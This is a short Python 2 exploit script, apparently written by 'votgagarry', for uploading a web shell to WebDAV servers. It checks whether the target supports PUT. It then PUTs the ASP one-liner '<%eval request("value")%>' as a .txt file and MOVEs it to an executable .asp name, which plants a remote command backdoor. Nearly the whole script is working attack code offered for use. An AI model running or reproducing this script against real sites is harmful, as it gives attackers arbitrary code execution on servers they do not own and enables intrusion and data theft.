#!/usr/bin/python
import httplib
import sys
if len(sys.argv) < 5:
print "written by votgagarry...."
print "Usage: " + sys.argv[0] + " host " + " path " + " Content " + " fileToPut " + " fileMoveTo "
print "Eg: " + sys.argv[0] + " 192.168.1.1 / test 123.txt 123.asp"
sys.exit(0)
host = sys.argv[1]
path = sys.argv[2]
content = '<%eval request("value")%>'
fileToWrite = sys.argv[3]
fileToMove = sys.argv[4]
headers = {"Host": host,
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain"}
move_headers = {"Host": host,
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",
"Destination": "http://" + host + "/" + fileToMove,
"Overwrite": "F",
"Translate": "f"}
body = content
############# check whether support PUT or not ####################
def checkPUT():
try:
http = httplib.HTTPConnection(host)
except:
print "Connection error.. check the connection..."
try:
http.request("OPTIONS", "/", body, headers)
except:
print "Doesnt support OPTIONS method "
res = http.getresponse()
check = str(res.msg)
if 'PUT' in check:
print "yep.. it supports PUT method"
else:
print "what a fucking website...."
print res.msg
############# try to put ####################
def tryPUT():
try:
http = httplib.HTTPConnection(host)
except:
print "Connection error.. check the connection..."
try:
http.request("PUT", "/" + fileToWrite, body, headers)
except:
print "Doesnt support PUT method "
############# try to move ####################
def tryMOVE():
try:
http = httplib.HTTPConnection(host)
except:
print "Connection error.. check the connection..."
try:
http.request("MOVE", "/" + fileToWrite, body, move_headers)
except:
print "Something is wrong with MOVE method , check the privilege"
##################################################
checkPUT()
tryPUT()
tryMOVE()
还有一些功能没有完善。。。 再今后补充了